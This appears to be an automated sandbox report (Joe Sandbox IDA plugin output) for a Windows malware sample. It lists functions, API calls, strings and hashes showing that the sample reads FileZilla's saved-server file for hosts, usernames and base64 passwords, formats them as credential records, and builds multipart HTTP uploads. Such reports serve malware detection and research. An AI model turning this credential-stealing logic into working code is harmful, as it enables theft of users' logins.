Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: b0c93ce5a49781f385e754aec1b5d5e7fc0f7e5f8fade77ffe99676bd8680ac7
Instruction ID: 0d261ba6d2097d1ac260df8f2f1bc6bfa7bada8b1b24b799807ab03d9731e2a2
Opcode Fuzzy Hash: b0c93ce5a49781f385e754aec1b5d5e7fc0f7e5f8fade77ffe99676bd8680ac7
Instruction Fuzzy Hash: 4A622CB5938200AFC344DFA8EE9895637F9F78C301754851EE609E3274DAB9A841FF52

Function 00727710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,007361C4,?), ref: 00727724
RtlAllocateHeap.NTDLL(00000000,?,007361C4,?), ref: 0072772B
lstrcatA.KERNEL32(?,015FCDD8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 007278DB
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 007278EF
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727903
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727917
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 0072792B
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 0072793F
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 00727952
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727966
lstrcatA.KERNEL32(?,015FCE60,?,007361C4,?), ref: 0072797A
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 0072798E
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 007279A2
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 007279B6
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 007279C9
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 007279DD
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 007279F1
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727A04
lstrcatA.KERNEL32(?,01601040,?,007361C4,?), ref: 00727A18
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727A2C
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727A40
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727A54
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 00727A68
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 00727A7B
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 00727A8F
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727AA3
lstrcatA.KERNEL32(?,016010A8,?,007361C4,?), ref: 00727AB6
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727ACA
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727ADE
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727AF2
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 00727B06
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 00727B1A
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 00727B2D
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727B41
lstrcatA.KERNEL32(?,01601110,?,007361C4,?), ref: 00727B55
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727B69
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727B7D
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727B91
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 00727BA4
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 00727BB8
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 00727BCC
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727BDF
lstrcatA.KERNEL32(?,01601178,?,007361C4,?), ref: 00727BF3
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727C07
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727C1B
lstrcatA.KERNEL32(?,?,?,007361C4,?), ref: 00727C2F
lstrcatA.KERNEL32(?,016002C0,?,007361C4,?), ref: 00727C43
lstrcatA.KERNEL32(?,016002D8,?,007361C4,?), ref: 00727C56
lstrcatA.KERNEL32(?,016002F0,?,007361C4,?), ref: 00727C6A
lstrcatA.KERNEL32(?,016003B0,?,007361C4,?), ref: 00727C7E

Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,007417FC,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?,?,007361C4), ref: 00727606
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,00000000,00000000), ref: 00727648
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020, : ), ref: 0072765A
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,00000000,00000000,00000000), ref: 0072768F
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,00741804), ref: 007276A0
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,00000000,00000000,00000000), ref: 007276D3
Part of subcall function 007275D0: lstrcatA.KERNEL32(2DD1E020,00741808), ref: 007276ED
Part of subcall function 007275D0: task.LIBCPMTD ref: 007276FB

lstrcatA.KERNEL32(?,015FD6E8,?,00000104), ref: 00727E0B
lstrcatA.KERNEL32(?,01600E88), ref: 00727E1E
lstrlenA.KERNEL32(2DD1E020), ref: 00727E2B
lstrlenA.KERNEL32(2DD1E020), ref: 00727E3B

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 2b62163c2deb8fc21d784105ba7a3e6d7d70a1d5a2170da2eec977bb66e9b999
Instruction ID: fd499916a080e2b4ffcbcea55efb89a9343d44ed7fdfc1f5716f3963e67406ca
Opcode Fuzzy Hash: 2b62163c2deb8fc21d784105ba7a3e6d7d70a1d5a2170da2eec977bb66e9b999
Instruction Fuzzy Hash: 443230B2C14314ABD755EBA0DC89DEE737CBB44700F044688F219A2091EEB9EB85DF52

Function 00730250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007299EC
Part of subcall function 007299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00729A11
Part of subcall function 007299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00729A31
Part of subcall function 007299C0: ReadFile.KERNEL32(000000FF,?,00000000,007302E7,00000000), ref: 00729A5A
Part of subcall function 007299C0: LocalFree.KERNEL32(007302E7), ref: 00729A90
Part of subcall function 007299C0: CloseHandle.KERNEL32(000000FF), ref: 00729A9A

Part of subcall function 00738E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00738E52

strtok_s.MSVCRT ref: 0073031B
GetProcessHeap.KERNEL32(00000000,000F423F,00740DBA,00740DB7,00740DB6,00740DB3), ref: 00730362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00740DB2), ref: 00730369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00730385
lstrlenA.KERNEL32(00000000), ref: 00730393

Part of subcall function 007388E0: malloc.MSVCRT ref: 007388E8
Part of subcall function 007388E0: strncpy.MSVCRT ref: 00738903

StrStrA.SHLWAPI(00000000,<Port>), ref: 007303CF
lstrlenA.KERNEL32(00000000), ref: 007303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00730419
lstrlenA.KERNEL32(00000000), ref: 00730427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00730463
lstrlenA.KERNEL32(00000000), ref: 00730475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00740DB2), ref: 00730502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0073051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00730532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0073054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00730562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00730571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00730580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00730593
lstrcatA.KERNEL32(?,00741678,?,?,00000000), ref: 007305A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 007305B5
lstrcatA.KERNEL32(?,0074167C,?,?,00000000), ref: 007305C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 007305D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 007305E6
lstrcatA.KERNEL32(?,00741688,?,?,00000000), ref: 007305F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00730604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00730617
lstrcatA.KERNEL32(?,00741698,?,?,00000000), ref: 00730626
lstrcatA.KERNEL32(?,0074169C,?,?,00000000), ref: 00730635
strtok_s.MSVCRT ref: 00730679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00740DB2), ref: 0073068E
memset.MSVCRT ref: 007306DD

Strings

Ns, xrefs: 0073072E, 007306AF, 007306B2
<User>, xrefs: 00730410
url: , xrefs: 00730577
<Host>, xrefs: 0073037C
<Port>, xrefs: 007303C6
password: , xrefs: 007305FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 007302A4
profile: null, xrefs: 00730568
<Pass encoding="base64">, xrefs: 0073045A
browser: FileZilla, xrefs: 00730559
Ns, xrefs: 007302CC, 007302F2, 007302CF, 007302F5
login: , xrefs: 007305CA

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Ns$Ns$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-3461311867
Opcode ID: 18f5342705ae41b851dca680922016eb970e0bc8e45944e2b2ec7c1a67672651
Instruction ID: cf41f1fa13086a5a6e185c0dccdd4e853db473a06290b90a3d9824ab4569cd7f
Opcode Fuzzy Hash: 18f5342705ae41b851dca680922016eb970e0bc8e45944e2b2ec7c1a67672651
Instruction Fuzzy Hash: 73D10F72D10108EBDB04FBE4DD9AEEE7778AF54300F548418F142B6192DF78AA45DB62

Function 00725100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
Part of subcall function 007247B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
Part of subcall function 007247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

lstrlenA.KERNEL32(00000000), ref: 00725193

Part of subcall function 00738EA0: CryptBinaryToStringA.CRYPT32(00000000,00725184,40000001,00000000,00000000,?,00725184), ref: 00738EC0

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00725207
StrCmpCA.SHLWAPI(?,015FD838), ref: 00725225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00725340
HttpOpenRequestA.WININET(00000000,015FD678,?,01601780,00000000,00000000,00400100,00000000), ref: 007253A4

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01601C88,00000000,?,015F4AD8,00000000,?,007419DC,00000000,?,007351CF), ref: 00725737
lstrlenA.KERNEL32(00000000), ref: 0072574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0072575C
RtlAllocateHeap.NTDLL(00000000), ref: 00725763
lstrlenA.KERNEL32(00000000), ref: 00725778
memcpy.MSVCRT(?,00000000,00000000), ref: 0072578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 007257A9
memcpy.MSVCRT(?), ref: 007257B6
lstrlenA.KERNEL32(00000000), ref: 007257C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 007257E1
memcpy.MSVCRT(?), ref: 007257F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0072580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00725822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0072584D
InternetCloseHandle.WININET(00000000), ref: 007258B1
InternetCloseHandle.WININET(00000000), ref: 007258BE
InternetCloseHandle.WININET(00000000), ref: 007258C8

Strings

------, xrefs: 0072563B
", xrefs: 007255C4
", xrefs: 00725706
--, xrefs: 00725280
", xrefs: 00725482
------, xrefs: 00725297
------, xrefs: 007254F9
------, xrefs: 007253B7

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: daa554a77e8863ae83d436afdc27f6e7d18e388e535053a2b068dbc3f328aea8
Instruction ID: 0ea29a70e8e14e508a7ca3c2385693bbf1e78aff5efe88191f11ac3246d452ee
Opcode Fuzzy Hash: daa554a77e8863ae83d436afdc27f6e7d18e388e535053a2b068dbc3f328aea8
Instruction Fuzzy Hash: 4932DF72920118FAEB15EBA0DC9AFEE7378BF54700F404169F14672092EF786A49DF52

Function 00725960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
Part of subcall function 007247B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
Part of subcall function 007247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007259F8
StrCmpCA.SHLWAPI(?,015FD838), ref: 00725A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00725B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01601C68,00000000,?,015F4AD8,00000000,?,00741A1C), ref: 00725E71
lstrlenA.KERNEL32(00000000), ref: 00725E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00725E93
HeapAlloc.KERNEL32(00000000), ref: 00725E9A
lstrlenA.KERNEL32(00000000), ref: 00725EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00725EC6
lstrlenA.KERNEL32(00000000), ref: 00725ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00725EF1
memcpy.MSVCRT(?), ref: 00725EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00725F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00725F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00725F4C
InternetCloseHandle.WININET(00000000), ref: 00725FB0
InternetCloseHandle.WININET(00000000), ref: 00725FBD
HttpOpenRequestA.WININET(00000000,015FD678,?,01601780,00000000,00000000,00400100,00000000), ref: 00725BF8

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

InternetCloseHandle.WININET(00000000), ref: 00725FC7

Strings

------, xrefs: 00725A96
", xrefs: 00725CD5
", xrefs: 00725E16
------, xrefs: 00725D4C
------, xrefs: 00725C0B

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
